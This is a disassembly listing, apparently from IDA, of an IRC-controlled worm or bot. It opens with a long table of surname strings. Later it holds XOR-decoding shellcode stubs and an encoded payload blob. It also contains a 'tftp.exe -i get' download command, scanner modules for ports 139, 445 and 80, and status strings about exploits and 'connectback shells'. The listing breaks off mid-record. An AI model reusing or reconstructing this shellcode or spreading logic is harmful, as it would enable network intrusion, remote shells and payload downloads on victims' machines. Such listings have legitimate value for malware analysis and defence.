___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431914 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431948 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_431980 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 